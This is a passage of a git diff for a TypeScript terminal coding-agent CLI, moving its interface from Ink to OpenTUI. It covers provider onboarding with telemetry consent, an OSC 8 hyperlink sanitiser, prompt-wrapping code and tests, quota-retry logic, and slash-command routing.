out.push(pickRow(provider, ref.model, "recent", args.isGoModelOnZenPath)); - } - - for (const ref of args.favorites) { - const provider = modelExistsOnProvider(args.providers, ref.provider, ref.model); - if (provider === undefined) continue; - const key = refKey(ref.provider, ref.model); - if (seen.has(key)) continue; - seen.add(key); - out.push(pickRow(provider, ref.model, "favorites", args.isGoModelOnZenPath)); - } - - for (const provider of args.providers) { - for (const model of provider.models) { - const key = refKey(provider.name, model); - if (seen.has(key)) continue; - seen.add(key); - out.push(pickRow(provider, model, "provider", args.isGoModelOnZenPath)); - } - } - - return out; -} diff --git a/src/tui/observe-chrome.ts b/src/tui/observe-chrome.ts deleted file mode 100644 index f19a553b3..000000000 --- a/src/tui/observe-chrome.ts +++ /dev/null @@ -1,32 +0,0 @@ -/** - * Enter/leave sub-agent observe chrome as one transition. - * - * `enteredSessionId` and `commandMessage` must move together: the parent header - * already shows observe identity, and command toasts are ephemeral. Leave must - * clear both so a toast never sticks on the parent after focus returns. - */ - -export type ObserveChromeState = { - enteredSessionId: string | null; - commandMessage: string | null; -}; - -/** Focus a child session and flash a Viewing toast. */ -export function enterObserveChrome( - sessionId: string, - agentId: string, - description: string, -): ObserveChromeState { - return { - enteredSessionId: sessionId, - commandMessage: `Viewing ${agentId}: ${description}`, - }; -} - -/** Drop child focus and clear all observe command chrome. */ -export function leaveObserveChrome(): ObserveChromeState { - return { - enteredSessionId: null, - commandMessage: null, - }; -} diff --git a/src/tui/onboarding.ts b/src/tui/onboarding.ts new file mode 100644 index 000000000..14bd31691 --- /dev/null +++ b/src/tui/onboarding.ts @@ -0,0 +1,122 @@ +import { runTUI } from "./runner.js"; +import { loadConfig, type UnconfiguredConfig } from "../config/index.js"; +import { + globalSettingsPath, + loadSettings, + localSettingsPath, + mergeProviderIntoSettings, + saveGlobalSettings, + saveLocalSettings, +} from "../config/settings.js"; +import { activateHeldTelemetry, telemetryFirstRunPending } from "../telemetry/first-run.js"; +import { validateProviderConnection } from "../provider/validate-connection.js"; +import { runProviderSetup } from "../tui-opentui/provider-setup.js"; + +export async function runOnboarding(config: UnconfiguredConfig): Promise { + const settingsPath = config.globalSettingsPath; + const existing = await loadSettings(settingsPath); + + // Disclosure before any send: startup held telemetry because the notice + // has never been shown, so render it here and treat a completed submit as + // the affirmative action that activates telemetry (consent by proceeding). + // Read from the TRUE global settings file — telemetry state never lives in + // a --config override file. + const trueGlobalSettings = await loadSettings(globalSettingsPath()).catch(() => null); + const showTelemetryNotice = telemetryFirstRunPending(trueGlobalSettings); + + const submitted = await runProviderSetup({ + showTelemetryNotice, + onSubmit: async (values, setPhase, { skipValidation, preset, oauth }) => { + const { name, baseURL, apiKey, model } = values; + const providerName = name.trim(); + const trimmedBaseURL = baseURL.trim(); + const trimmedKey = apiKey.trim(); + + // A signed-in subscription provider has no key to test or store: the + // tokens are already in the home-level auth store, and config load + // projects that store into the provider catalog. Only the selection is + // persisted here — the same two files /model writes when switching. + if (oauth !== undefined) { + setPhase("saving"); + const base = existing ?? { providers: {} }; + await saveGlobalSettings(settingsPath, { + ...base, + defaultProvider: oauth.providerName, + }); + await saveLocalSettings(localSettingsPath(config.cwd), { + provider: oauth.providerName, + model: model.trim(), + }); + return; + } + + // Fail fast on a bad base URL/key here rather than mid-conversation + // during the first real stream request. The operator can bypass the + // check (Ctrl+S) for providers that don't expose /models. Anthropic + // Messages endpoints are exempt: the probe is an OpenAI-compatible GET + // /models with a bearer token, which that surface always rejects. + if (!skipValidation && preset?.anthropic !== true) { + const check = await validateProviderConnection({ + baseURL: trimmedBaseURL, + apiKey: trimmedKey.length > 0 ? trimmedKey : undefined, + }); + if (!check.ok) { + throw new Error(check.error); + } + } + + setPhase("saving"); + const selectedModel = model.trim(); + // A picked provider seeds its whole catalog so /model has more than the + // one model chosen here; the protocol flags cannot be expressed by the + // four form values and come from the catalog entry. + const models = + preset !== undefined && preset.models.includes(selectedModel) + ? [...preset.models] + : [selectedModel]; + const newProvider = { + baseURL: trimmedBaseURL, + models, + defaultModel: selectedModel, + ...(trimmedKey.length > 0 ? { apiKey: trimmedKey } : { keyless: true }), + ...(preset?.anthropic === true ? { anthropic: true } : {}), + ...(preset?.opencodeGo === true ? { opencodeGo: true } : {}), + }; + // Merge new provider with any pre-existing ones. Single write — the form + // stays open (phase label) until saveGlobalSettings resolves, so the user + // sees confirmation before the screen is cleared. Full-spread merge so + // plugins/pluginPaths/sessionMode/shell/tools survive re-onboarding. + const merged = mergeProviderIntoSettings(existing, providerName, newProvider); + await saveGlobalSettings(settingsPath, merged); + }, + }); + + // If the user cancelled (Ctrl+C) onSubmit was never called and settings were + // never written. Skip launching the TUI — and leave telemetry held, so a + // cancelled first run sends nothing. + if (!submitted) { + return 1; + } + + // Completing setup with the disclosure on screen is the affirmative action + // that unlocks telemetry and fires the held cli_start. + if (showTelemetryNotice) { + await activateHeldTelemetry(globalSettingsPath()); + } + + const argv: string[] = ["--cwd", config.cwd]; + if (config.dangerouslySkipPermissions) argv.push("--dangerously-skip-permissions"); + if (config.force) argv.push("--force"); + if (config.task.length > 0) argv.push(config.task); + + // An explicit globalSettingsPath tells loadConfig it is on a controlled + // settings source and suppresses the home-level OAuth profile projection. + // Passing the default path would therefore hide a provider the operator just + // signed into, so it is only forwarded when it really is an override. + const overridesSettingsPath = settingsPath !== globalSettingsPath(); + const newConfig = await loadConfig( + argv, + overridesSettingsPath ? { globalSettingsPath: settingsPath } : {}, + ); + return runTUI(newConfig); +} diff --git a/src/tui/onboarding.tsx b/src/tui/onboarding.tsx deleted file mode 100644 index 32745a4d8..000000000 --- a/src/tui/onboarding.tsx +++ /dev/null @@ -1,364 +0,0 @@ -import { Box, Text, useApp, useInput } from "ink"; -import { render } from "ink"; -import { useState, type ReactNode } from "react"; - -import { runTUI } from "./runner.js"; -import { enterAltScreen } from "../util/alt-screen.js"; -import { loadConfig, type UnconfiguredConfig } from "../config/index.js"; -import { - globalSettingsPath, - loadSettings, - mergeProviderIntoSettings, - saveGlobalSettings, -} from "../config/settings.js"; -import { activateHeldTelemetry, telemetryFirstRunPending } from "../telemetry/first-run.js"; -import { TELEMETRY_NOTICE } from "../telemetry/index.js"; -import { validateProviderConnection } from "../provider/validate-connection.js"; -import { color } from "./theme.js"; -import { useTerminalSize } from "./hooks/use-terminal-size.js"; -import { PRODUCT_NAME } from "../branding.js"; - -type Field = "name" | "baseURL" | "apiKey" | "model"; - -const FIELDS: Field[] = ["name", "baseURL", "apiKey", "model"]; - -const FIELD_LABELS: Record = { - name: "Provider name", - baseURL: "Base URL", - apiKey: "API key", - model: "Default model", -}; - -const FIELD_HINTS: Record = { - name: "openai, anthropic, ollama, ...", - baseURL: "https://api.openai.com/v1", - apiKey: "sk-... (blank for keyless/local)", - model: "gpt-4o", -}; - -type FormValues = Record; - -// "testing" covers the connection-check call against the entered credentials; -// "saving" covers the settings write that follows once the test succeeds. -type SubmitPhase = "testing" | "saving"; - -const SUBMIT_PHASE_LABEL: Record = { - testing: "Testing connection…", - saving: "Writing settings…", -}; - -export type SubmitOpts = { - // True when the operator chose to save despite a failed connection test — - // some providers speak chat completions but not /models, so validation - // cannot be a hard gate. - skipValidation: boolean; -}; - -export type ProviderSetupPanelProps = { - // Called when the user completes all fields. The panel shows a phase label - // until the promise resolves, then calls exit(). `setPhase` lets onSubmit - // report progress (e.g. move from "testing" to "saving") as it runs. If the - // promise rejects, the error is shown inline and the user can retry or - // correct their input; nothing is saved. - onSubmit: (values: FormValues, setPhase: (phase: SubmitPhase) => void, opts: SubmitOpts) => Promise; - // One-time telemetry disclosure. Shown here so a brand-new install sees it - // on the same launch the first telemetry event fires, not on a later run. - showTelemetryNotice: boolean; -}; - -export function ProviderSetupPanel({ onSubmit, showTelemetryNotice }: ProviderSetupPanelProps): ReactNode { - const { rows } = useTerminalSize(); - const { exit } = useApp(); - const [fieldIndex, setFieldIndex] = useState(0); - const [values, setValues] = useState({ - name: "", - baseURL: "", - apiKey: "", - model: "", - }); - const [submitting, setSubmitting] = useState(false); - const [submitPhase, setSubmitPhase] = useState("testing"); - const [submitError, setSubmitError] = useState(null); - const [saveAnywayOffered, setSaveAnywayOffered] = useState(false); - - const currentField = FIELDS[fieldIndex] as Field; - const val = values[currentField]; - - const clearError = (): void => { - setSubmitError(null); - setSaveAnywayOffered(false); - }; - - const submit = (skipValidation: boolean): void => { - setSubmitting(true); - setSubmitPhase("testing"); - clearError(); - - // Track the phase locally so the rejection handler knows whether the - // failure happened during the connection test (retryable and bypassable) - // or during the settings write. - let phase: SubmitPhase = "testing"; - const setPhase = (p: SubmitPhase): void => { - phase = p; - setSubmitPhase(p); - }; - - onSubmit(values, setPhase, { skipValidation }).then( - () => exit(), - (err: unknown) => { - setSubmitting(false); - setSubmitError(err instanceof Error ? err.message : String(err)); - setSaveAnywayOffered(phase === "testing"); - }, - ); - }; - - const advance = (): void => { - // apiKey is optional — blank means a keyless local provider (e.g. Ollama). - if (currentField !== "apiKey" && val.trim().length === 0) return; - - if (fieldIndex < FIELDS.length - 1) { - setFieldIndex((i) => i + 1); - clearError(); - return; - } - - submit(false); - }; - - useInput((input, key) => { - if (submitting) return; - - if (saveAnywayOffered && key.ctrl && input === "s") { - submit(true); - return; - } - if (key.return) { - advance(); - return; - } - if (key.backspace || key.delete) { - setValues((v) => ({ ...v, [currentField]: v[currentField].slice(0, -1) })); - clearError(); - return; - } - if (key.escape) { - if (fieldIndex > 0) { - setFieldIndex((i) => i - 1); - clearError(); - } - return; - } - if (key.ctrl || key.meta || key.tab) return; - if (input.length > 0) { - setValues((v) => ({ ...v, [currentField]: v[currentField] + input })); - clearError(); - } - }); - - const maskValue = (field: Field, v: string): string => - field === "apiKey" ? "●".repeat(Math.min(v.length, 16)) : v; - - return ( - - {/* Header */} - - - {PRODUCT_NAME} - - · - Provider setup - - - {/* Main content */} - - - - Welcome — connect an inference provider - - - Step {fieldIndex + 1} of {FIELDS.length}: {FIELD_LABELS[currentField]} - {" — "} - {currentField === "name" && "name it (openai, anthropic, ollama, …)"} - {currentField === "baseURL" && "paste the API base URL (include /v1 if required)"} - {currentField === "apiKey" && "API key (blank for local/keyless)"} - {currentField === "model" && "default model, then Enter to test & save"} - - - After setup, switch providers with /model - - - - - - Provider - - - - {FIELDS.map((field, i) => { - const isCurrent = i === fieldIndex; - const isDone = i < fieldIndex; - const fieldVal = values[field]; - - return ( - - - - - {FIELD_LABELS[field]} - - - {isDone ? ( - {maskValue(field, fieldVal)} - ) : isCurrent ? ( - - {FIELD_HINTS[field]}{" "} - {maskValue(field, fieldVal)} - ▌ - - ) : ( - — - )} - - - ); - })} - - {submitError !== null && ( - - {submitError} - - )} - - {submitError !== null && saveAnywayOffered && ( - - Enter retry · Ctrl+S save anyway - - )} - - {submitting && ( - - {SUBMIT_PHASE_LABEL[submitPhase]} - - )} - - {showTelemetryNotice && ( - - {TELEMETRY_NOTICE} - - )} - - - {/* Footer */} - - Enter confirm · Esc back · Ctrl+C cancel - - - ); -} - -export async function runOnboarding(config: UnconfiguredConfig): Promise { - const settingsPath = config.globalSettingsPath; - const existing = await loadSettings(settingsPath); - - // Disclosure before any send: startup held telemetry because the notice - // has never been shown, so render it here and treat a completed submit as - // the affirmative action that activates telemetry (consent by proceeding). - // Read from the TRUE global settings file — telemetry state never lives in - // a --config override file. - const trueGlobalSettings = await loadSettings(globalSettingsPath()).catch(() => null); - const showTelemetryNotice = telemetryFirstRunPending(trueGlobalSettings); - - const exitAltScreen = enterAltScreen(); - - let submitted = false; - - const { waitUntilExit } = render( - { - const { name, baseURL, apiKey, model } = values; - const providerName = name.trim(); - const trimmedBaseURL = baseURL.trim(); - const trimmedKey = apiKey.trim(); - - // Fail fast on a bad base URL/key here rather than mid-conversation - // during the first real stream request. The operator can bypass the - // check (Ctrl+S) for providers that don't expose /models. - if (!skipValidation) { - const check = await validateProviderConnection({ - baseURL: trimmedBaseURL, - apiKey: trimmedKey.length > 0 ? trimmedKey : undefined, - }); - if (!check.ok) { - throw new Error(check.error); - } - } - - setPhase("saving"); - const newProvider = { - baseURL: trimmedBaseURL, - models: [model.trim()], - defaultModel: model.trim(), - ...(trimmedKey.length > 0 - ? { apiKey: trimmedKey } - : { keyless: true }), - }; - // Merge new provider with any pre-existing ones. Single write — the TUI - // stays open (spinner) until saveGlobalSettings resolves, so the user - // sees confirmation before the screen is cleared. Full-spread merge so - // plugins/pluginPaths/sessionMode/shell/tools survive re-onboarding. - const merged = mergeProviderIntoSettings(existing, providerName, newProvider); - await saveGlobalSettings(settingsPath, merged); - submitted = true; - }} - />, - { exitOnCtrlC: true }, - ); - - await waitUntilExit(); - exitAltScreen(); - - // If the user cancelled (Ctrl+C) onSubmit was never called and settings were - // never written. Skip launching the TUI — and leave telemetry held, so a - // cancelled first run sends nothing. - if (!submitted) { - return 1; - } - - // Completing setup with the disclosure on screen is the affirmative action - // that unlocks telemetry and fires the held cli_start. - if (showTelemetryNotice) { - await activateHeldTelemetry(globalSettingsPath()); - } - - const argv: string[] = ["--cwd", config.cwd]; - if (config.dangerouslySkipPermissions) argv.push("--dangerously-skip-permissions"); - if (config.force) argv.push("--force"); - if (config.task.length > 0) argv.push(config.task); - - const newConfig = await loadConfig(argv, { globalSettingsPath: settingsPath }); - return runTUI(newConfig); -} diff --git a/src/tui/osc8.ts b/src/tui/osc8.ts deleted file mode 100644 index da87051b8..000000000 --- a/src/tui/osc8.ts +++ /dev/null @@ -1,21 +0,0 @@ -// OSC 8 hyperlinks (https://gist.github.com/egmontkob/eb114294efbcd5adb1944c9f3cb5feda). -// BEL (\x07) terminator is widely supported; ST (\x1b\\) is the alternate. -// Reject control characters in the URL so a hostile label/url cannot break out -// of the sequence or inject arbitrary CSI into the terminal. - -const CONTROL_OR_BEL = /[\x00-\x1f\x7f]/; - -export function isSafeOsc8Url(url: string): boolean { - if (url.length === 0 || url.length > 2048) return false; - if (CONTROL_OR_BEL.test(url)) return false; - // Tight allowlist only: model-authored markdown becomes a clickable terminal - // link, so catch-all scheme:// would admit data:/ftp:/javascript:// etc. - return /^(https?:\/\/|mailto:|file:|\/|\.\/|#)/i.test(url); -} - -export function osc8Hyperlink(url: string, label: string): string { - if (!isSafeOsc8Url(url)) return label; - // Strip controls from the visible label so they never paint raw. - const safeLabel = label.replace(CONTROL_OR_BEL, ""); - return `\x1b]8;;${url}\x07${safeLabel}\x1b]8;;\x07`; -} diff --git a/src/tui/pick-session.tsx b/src/tui/pick-session.ts similarity index 57% rename from src/tui/pick-session.tsx rename to src/tui/pick-session.ts index ef05a805b..f175878eb 100644 --- a/src/tui/pick-session.tsx +++ b/src/tui/pick-session.ts @@ -1,8 +1,7 @@ -import { render } from "ink"; - import { COMMAND_NAME } from "../branding.js"; import { listSessions, type SessionSummary } from "../session/index.js"; -import { SessionResumePicker } from "./components/session-resume-picker.js"; +import { runListModal } from "../tui-opentui/list-modal.js"; +import { formatRelativeTime } from "./format-relative-time.js"; // Interrupted (cancelled) sessions are prime resume candidates alongside // in-progress ones; only done/failed runs need --force to reopen. @@ -10,6 +9,11 @@ export function isResumableByDefault(session: Pick): b return session.status === "running" || session.status === "cancelled"; } +export function sessionResumeLabel(session: SessionSummary): string { + const title = session.task.trim().length > 0 ? session.task.trim() : "Untitled session"; + return `${title} · ${formatRelativeTime(session.startedAt)} · ${session.status}`; +} + export async function pickSession( cwd: string, options?: { includeCompleted?: boolean }, @@ -27,25 +31,16 @@ export async function pickSession( return null; } - return new Promise((resolve) => { - let settled = false; - const settle = (value: SessionSummary | null): void => { - if (settled) return; - settled = true; - resolve(value); - }; - - const { waitUntilExit } = render( - settle(session)} - onCancel={() => settle(null)} - />, - { exitOnCtrlC: true }, - ); - void waitUntilExit().then(() => { - // Only treat as cancel when the user did not already select a session. - settle(null); - }); + const picked = await runListModal({ + title: "Resume conversation", + kind: "resume", + heading: ["Choose a previous session in this repo"], + options: sessions.map((session) => ({ + id: session.sessionId, + label: sessionResumeLabel(session), + })), }); -} \ No newline at end of file + + if (picked === null) return null; + return sessions.find((session) => session.sessionId === picked) ?? null; +} diff --git a/src/tui/prompt-layout.test.ts b/src/tui/prompt-layout.test.ts deleted file mode 100644 index 6d8778583..000000000 --- a/src/tui/prompt-layout.test.ts +++ /dev/null @@ -1,46 +0,0 @@ -import { describe, test, expect } from "bun:test"; -import { locatePromptCursor, promptVisualLines } from "./prompt-layout.js"; - -describe("promptVisualLines", () => { - test("logicalStart accounts for the space each soft break consumes", () => { - // Width 10: "alpha beta gamma" wraps to "alpha" / "beta gamma"? Actually - // greedy fill: "alpha beta" (10 cols) then "gamma". The soft break consumes - // the space at index 10, so the second row starts at index 11 — not 10. - const lines = promptVisualLines("alpha beta gamma", 10); - expect(lines.map((l) => l.text)).toEqual(["alpha beta", "gamma"]); - expect(lines[1]?.logicalStart).toBe(11); - }); - - test("drift does not compound across many soft wraps", () => { - const value = Array.from({ length: 20 }, (_, i) => `word${i}`).join(" "); - const lines = promptVisualLines(value, 12); - for (const line of lines) { - expect(value.slice(line.logicalStart, line.logicalStart + line.text.length)).toBe(line.text); - } - }); - - test("empty logical lines still produce a row", () => { - const lines = promptVisualLines("a\n\nb", 10); - expect(lines.map((l) => l.text)).toEqual(["a", "", "b"]); - expect(lines[2]?.logicalStart).toBe(3); - }); -}); - -describe("locatePromptCursor", () => { - test("maps a cursor after a soft wrap onto the correct row and column", () => { - const value = "alpha beta gamma"; - const lines = promptVisualLines(value, 10); - // Cursor on the "g" of gamma (index 11) — first column of the second row. - const at = locatePromptCursor(lines, 11); - expect(at.cursorLine).toBe(1); - expect(at.cursorCol).toBe(0); - }); - - test("does not split a surrogate pair at the cursor", () => { - const value = "hi 😀 there"; - const lines = promptVisualLines(value, 40); - const at = locatePromptCursor(lines, value.indexOf("😀")); - const line = lines[at.cursorLine]!.text; - expect(line.slice(at.cursorCol, at.cursorCol + at.cursorCharLength)).toBe("😀"); - }); -}); diff --git a/src/tui/prompt-layout.ts b/src/tui/prompt-layout.ts deleted file mode 100644 index d7a058537..000000000 --- a/src/tui/prompt-layout.ts +++ /dev/null @@ -1,120 +0,0 @@ -import { wrapRanges } from "./view/height.js"; - -export type PromptVisualLine = { text: string; logicalStart: number }; - -// The single source of truth for mapping the prompt value to visual rows. -// Uses wrapRanges so each row's logicalStart is the row's true index into the -// value — summing row lengths instead would drop the character each soft break -// consumes and drift the cursor by one column per wrap. -// One slot is enough: within a render pass the same (value, width) is wrapped -// by the chrome-row estimate, the scroll window, and the input component, and -// the App re-renders up to 30 times a second while streaming. -let wrapCache: { value: string; width: number; lines: PromptVisualLine[] } | null = null; - -export function promptVisualLines(value: string, width: number): PromptVisualLine[] { - if (wrapCache !== null && wrapCache.width === width && wrapCache.value === value) { - return wrapCache.lines; - } - const visualLines: PromptVisualLine[] = []; - let lineStart = 0; - for (const logical of value.split("\n")) { - for (const range of wrapRanges(logical, width)) { - visualLines.push({ - text: logical.slice(range.start, range.end), - logicalStart: lineStart + range.start, - }); - } - lineStart += logical.length + 1; - } - wrapCache = { value, width, lines: visualLines }; - return visualLines; -} - -export type PromptCursor = { - cursorLine: number; - cursorCol: number; - // Code units occupied by the character under the cursor (2 for a surrogate - // pair), so highlighting never renders half an emoji. - cursorCharLength: number; -}; - -export function locatePromptCursor(visualLines: PromptVisualLine[], cursor: number): PromptCursor { - let cursorLine = Math.max(0, visualLines.length - 1); - for (let i = 0; i < visualLines.length; i++) { - const start = visualLines[i]!.logicalStart; - const end = start + visualLines[i]!.text.length; - if (cursor >= start && cursor <= end) { - cursorLine = i; - break; - } - } - const line = visualLines[cursorLine]?.text ?? ""; - const cursorCol = Math.max(0, cursor - (visualLines[cursorLine]?.logicalStart ?? 0)); - const cp = line.codePointAt(cursorCol); - const cursorCharLength = cp !== undefined && cp > 0xffff ? 2 : 1; - return { cursorLine, cursorCol, cursorCharLength }; -} - -/** Inner text width inside the bordered prompt box (`> ` prefix included in layout). */ -export function promptContentWidth(columns: number): number { - return Math.max(8, columns - 8); -} - -/** Logical visual rows inside the prompt (wrapped), before the 40vh cap. */ -export function countPromptVisualLines(value: string, columns: number): number { - return Math.max(1, promptVisualLines(value, promptContentWidth(columns)).length); -} - -export type PromptWindow = { - windowStart: number; - windowEnd: number; - atTopEdge: boolean; - atBottomEdge: boolean; -}; - -/** Mirrors ChatInput's scroll window so layout reserves the same row count. */ -export function promptScrollWindow( - value: string, - columns: number, - terminalRows: number, - cursor = value.length, -): PromptWindow { - const width = promptContentWidth(columns); - const visualLines = promptVisualLines(value, width); - const lineCount = visualLines.length; - const { cursorLine } = locatePromptCursor(visualLines, cursor); - const maxBoxRows = Math.max(3, Math.floor(terminalRows * 0.4)); - let windowStart = 0; - let windowEnd = lineCount; - if (lineCount > maxBoxRows) { - windowStart = Math.max(0, cursorLine - maxBoxRows + 1); - windowEnd = windowStart + maxBoxRows; - if (windowEnd > lineCount) { - windowEnd = lineCount; - windowStart = windowEnd - maxBoxRows; - } - } - return { - windowStart, - windowEnd, - atTopEdge: windowStart > 0, - atBottomEdge: windowEnd < lineCount, - }; -} - -/** Rows rendered inside the bordered box (content + optional scroll hints). */ -export function promptInnerRowCount(value: string, columns: number, terminalRows: number): number { - const { windowStart, windowEnd, atTopEdge, atBottomEdge } = promptScrollWindow(value, columns, terminalRows); - let inner = Math.max(1, windowEnd - windowStart); - if (atTopEdge) inner += 1; - if (atBottomEdge) inner += 1; - return inner; -} - -// CHROME_ROWS reserves a 3-row prompt box: top border + one content line + bottom border. -export const PROMPT_BOX_BASE_INNER_ROWS = 1; - -/** Extra rows to subtract from the transcript beyond fixed CHROME_ROWS. */ -export function extraPromptChromeRows(value: string, columns: number, terminalRows: number): number { - return Math.max(0, promptInnerRowCount(value, columns, terminalRows) - PROMPT_BOX_BASE_INNER_ROWS); -} \ No newline at end of file diff --git a/src/tui/quota-retry.ts b/src/tui/quota-retry.ts deleted file mode 100644 index 473378b88..000000000 --- a/src/tui/quota-retry.ts +++ /dev/null @@ -1,20 +0,0 @@ -// Decision for the quota auto-retry loop: after a provider rate-limit error the -// TUI polls and resubmits the last prompt once the retry-after window expires. -// An interrupt clears the last-sent prompt, so a blank message here means there -// is nothing legitimate to replay — resubmitting it would silently re-drive a -// turn the operator already stopped, duplicating its tool executions. - -export type QuotaRetryDecisionInput = { - quotaError: { retryAt: number } | null; - alreadyFired: boolean; - nowMs: number; - lastSentMessage: string; -}; - -export function shouldAutoRetryQuota(input: QuotaRetryDecisionInput): boolean { - if (input.quotaError === null) return false; - if (input.alreadyFired) return false; - if (input.nowMs < input.quotaError.retryAt) return false; - if (input.lastSentMessage.trim().length === 0) return false; - return true; -} diff --git a/src/tui/request-approval.test.ts b/src/tui/request-approval.test.ts index 722de17d6..89bbcdf24 100644 --- a/src/tui/request-approval.test.ts +++ b/src/tui/request-approval.test.ts @@ -4,7 +4,7 @@ import { getToolApprovalBudget, runWithToolExecutionWatchdog, } from "./tool-execution-watchdog.js"; -import type { PermissionGateEvent } from "./hooks/use-gates.js"; +import type { PermissionGateEvent } from "./gate-events.js"; import type { ApprovalOutcome, PermissionRequest } from "../permission/types.js"; const request: PermissionRequest = { diff --git a/src/tui/request-approval.ts b/src/tui/request-approval.ts index 16ce723e3..0e3263bdb 100644 --- a/src/tui/request-approval.ts +++ b/src/tui/request-approval.ts @@ -3,7 +3,7 @@ import { LOG_NAMESPACE_ROOT } from "../branding.js"; import type { ApprovalOutcome, PermissionRequest, RequestApproval } from "../permission/types.js"; import type { ChainedPauseToken } from "./tool-execution-watchdog.js"; import { getToolApprovalBudget } from "./tool-execution-watchdog.js"; -import type { PermissionGateEvent } from "./hooks/use-gates.js"; +import type { PermissionGateEvent } from "./gate-events.js"; export type CreateGateRequestApprovalArgs = { /** Emits the gate event to the UI; returns false when nothing is listening. */ diff --git a/src/tui/runner.tsx b/src/tui/runner.ts similarity index 71% rename from src/tui/runner.tsx rename to src/tui/runner.ts index d013d3485..543324c8e 100644 --- a/src/tui/runner.tsx +++ b/src/tui/runner.ts @@ -1,6 +1,6 @@ import { isAbsolute, join, resolve as resolvePath } from "node:path"; +import { readFile } from "node:fs/promises"; import { EventEmitter } from "node:events"; -import { render } from "ink"; import { createAgent, defineAgent, @@ -18,9 +18,12 @@ import { globalSettingsPath, loadLocalSettings, loadGlobalSettingsWriteBase, + listFavoriteModels, + listRecentModels, loadSettings, localSettingsPath, markTelemetryNoticeShown, + pushRecentModel, resolveMaxConcurrentSubAgents, resolveTier, saveGlobalSettings, @@ -28,17 +31,21 @@ import { shellTimeoutFromSettings, toolWatchdogFromSettings, markLastChangelogVersion, + toggleFavoriteModel, + type ModelRef, type Settings, type LocalSettings, type PluginConfig, type ProviderTier, } from "../config/settings.js"; +import { providerChoices } from "../tui-opentui/provider-setup.js"; +import type { SessionModeScope } from "../tui-opentui/command-surfaces.js"; import { resolveWaitForApproval, type ToolWatchdogConfig } from "./tool-execution-watchdog.js"; import { createGateRequestApproval } from "./request-approval.js"; import { configureSubAgentConcurrency } from "../subagent/concurrency.js"; import { codexProfileFromProviderName } from "../config/codex-providers.js"; import { xaiProfileFromProviderName } from "../config/xai-providers.js"; -import type { PluginsAdmin, PluginDescriptor } from "./components/plugins-manager.js"; +import type { PluginsAdmin, PluginDescriptor } from "../plugins/admin.js"; import type { PluginManifest } from "../plugins/manifest.js"; import { createInferenceDependencies } from "../provider/inference-dependencies.js"; import { getValidCodexToken } from "../auth/codex/session.js"; @@ -48,6 +55,7 @@ import { expandExistingPluginMembers, expandPluginPath, loadPluginEntry, type Pl import { createPluginLoadDiagnostics, emitPluginWarningSummary, + formatPluginWarningsSummary, } from "../plugins/diagnostics.js"; import { isPluginTrusted, @@ -65,7 +73,16 @@ import { type PathTrustStore, } from "../trust/path-trust.js"; import { registerCommandPlugins, registerWorkflowPlugins, isEnabledCommandPlugin, enablePluginConfig } from "../plugins/register.js"; -import { registerCommandPlugin, setHiddenCommands } from "./commands/registry.js"; +import { + getCommand, + listCommands, + registerCommandPlugin, + setHiddenCommands, + type CommandContext, + type CommandResult, +} from "./commands/registry.js"; +import { registerBuiltInCommands, setConfiguredTiers } from "./commands/built-in.js"; +import type { PluginModule } from "../plugins/loader.js"; import { activateHeldTelemetry, telemetryFirstRunPending } from "../telemetry/first-run.js"; import { TELEMETRY_NOTICE } from "../telemetry/index.js"; import { getTelemetry, setTelemetry } from "../telemetry/singleton.js"; @@ -74,6 +91,9 @@ import { loadStartupChangelogMarkdown } from "../changelog/index.js"; import pkg from "../../package.json" with { type: "json" }; import { seedPricingMetadataFromCache } from "../cost/pricing-metadata.js"; import { defaultPricingCachePath } from "../cost/pricing-fetcher.js"; +import { getActivePricingCache } from "../cost/cost-visibility.js"; +import { createFaremeter, formatCost } from "../cost/faremeter.js"; +import { buildCostSummary, type CostSummary } from "../cost/cost-summary.js"; import { advertisedToolNamesForSessionMode, advertisedTools, @@ -95,7 +115,8 @@ import { loadAgentProfiles, type AgentProfile } from "../agent/profiles.js"; import { resolveAgentPluginProfiles } from "../plugins/agent-plugins.js"; import { createPermissionGate } from "../permission/gate.js"; import { createWorktreeRootsProvider } from "../permission/worktree-roots.js"; -import { createPermissionsAdmin } from "../permission/admin.js"; +import { createPermissionsAdmin, type ScopedApproval } from "../permission/admin.js"; +import type { GrantScope } from "../permission/types.js"; import { DEFAULT_GOAL_APPROVAL_TIMEOUT_MS, goalApprovalTimeoutMessage, @@ -109,10 +130,27 @@ import { scrubSecrets } from "../web/secret-scrub.js"; import { setActiveWebProviderBrand } from "./tool-formatter.js"; import { consumeStream } from "../session/stream-consumer.js"; import { createCycleTextRecorder } from "../session/stream-journal.js"; -import { enterAltScreen } from "../util/alt-screen.js"; -import { createFilteredStdin, enableMouseReporting } from "./stdin-filter.js"; -import { App } from "./app.js"; -import type { OperatorGateEvent } from "./hooks/use-gates.js"; +import { mountRunnerHost } from "../tui-opentui/runner-host.js"; +import { + appendStreamRow, + attachClipboardImage, + setMentionSuggestionSource, + setSentMessageHistory, + setShellRunState, +} from "../tui-opentui/shell.js"; +import { + classifyAgentSendFailure, + shouldSettleUiAfterSendFailure, +} from "../tui-opentui/session-chrome.js"; +import { ingestPathMentions } from "../tui-opentui/prompt-attachments.js"; +import { listPathSuggestions } from "./components/at-mention/list.js"; +import { resolveAtMentions } from "./mention-resolution.js"; +import { + imageAttachmentFromPath, + type PendingImageAttachment, +} from "./image-attachments.js"; +import { appendSentMessage, loadSentMessages } from "../session/sent-messages.js"; +import type { OperatorGateEvent } from "./gate-events.js"; import { createLifecycleHookManager, createRunSummary, @@ -172,6 +210,13 @@ export function resumeTranscriptLoadErrorBlock(err: unknown): { return { type: "error", message: `Could not load prior session transcript: ${message}` }; } +const GRANT_SCOPE_LABEL: Record = { + session: "This session", + project: "This project", + global: "Global", + "provider-model": "Provider / model", +}; + /** * Resolve the base for a local-settings read-modify-write. * Absent file → empty object; unreadable/invalid → null (caller must skip write). @@ -202,6 +247,114 @@ function buildCompactionContinuationMessage(): InboundMessage { }; } +/** + * Populate the slash-command registry for a session: built-ins first, then + * enabled plugin commands and workflows, then the hidden-command filter. + * + * Exported so the production wiring is testable — built-in registration used to + * ride on an import side effect and silently disappeared when its only importer + * was deleted. + */ +export type SubmissionRoute = + | { kind: "empty" } + | { kind: "command"; name: string; args: string } + | { kind: "prompt"; text: string }; + +/** + * Decide what a submitted composer line is. A leading `/` means a slash command + * — it must never reach the model as a prompt, whether it was typed directly or + * picked from the palette. + */ +export function routeSubmission(raw: string): SubmissionRoute { + const trimmed = raw.trim(); + if (trimmed.length === 0) return { kind: "empty" }; + const body = trimmed.startsWith("/") ? trimmed.slice(1).trim() : trimmed; + if (!trimmed.startsWith("/")) return { kind: "prompt", text: trimmed }; + 